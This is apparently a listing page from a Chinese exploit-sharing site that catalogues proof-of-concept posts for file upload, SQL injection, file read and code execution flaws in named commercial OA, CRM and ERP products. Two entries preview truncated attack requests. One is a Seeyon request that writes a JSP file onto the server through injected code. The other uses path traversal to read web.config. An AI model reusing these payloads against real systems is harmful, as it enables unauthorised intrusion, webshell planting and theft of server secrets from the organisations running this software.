POC_秃兔安全

更新

浏览

九思-OA-任意文件上传

2024你懂的

秃兔2年前

01077

【通用】畅捷通CRM newleadhidden SQL注入

fofa语句yakit插件 uuid pocyaml 已验证

付费阅读500 # poc

dreamer2929个月前

01078

赛蓝企业管理系统ReadTxtLog存在任意文件读取漏洞

2024你懂的

秃兔2年前

010714

【通用】杜特网上订单系统getUserImage SQL注入漏洞

fofa 语句yakit插件 uuidpocyakit yamlnuclei yaml已验证

付费阅读500 # poc # yakit # nuclei

dreamer2922年前

010710

致远在野constDef接囗存在代码执行漏洞

GET /seeyon/constDefdo?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22P...

2024你懂的

秃兔2年前

010713

天问物业 ERP 系统 AreaAvatarDownLoad.aspx 任意文件读取漏洞

GET /HM/ Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firef...

2024你懂的

秃兔2年前

01076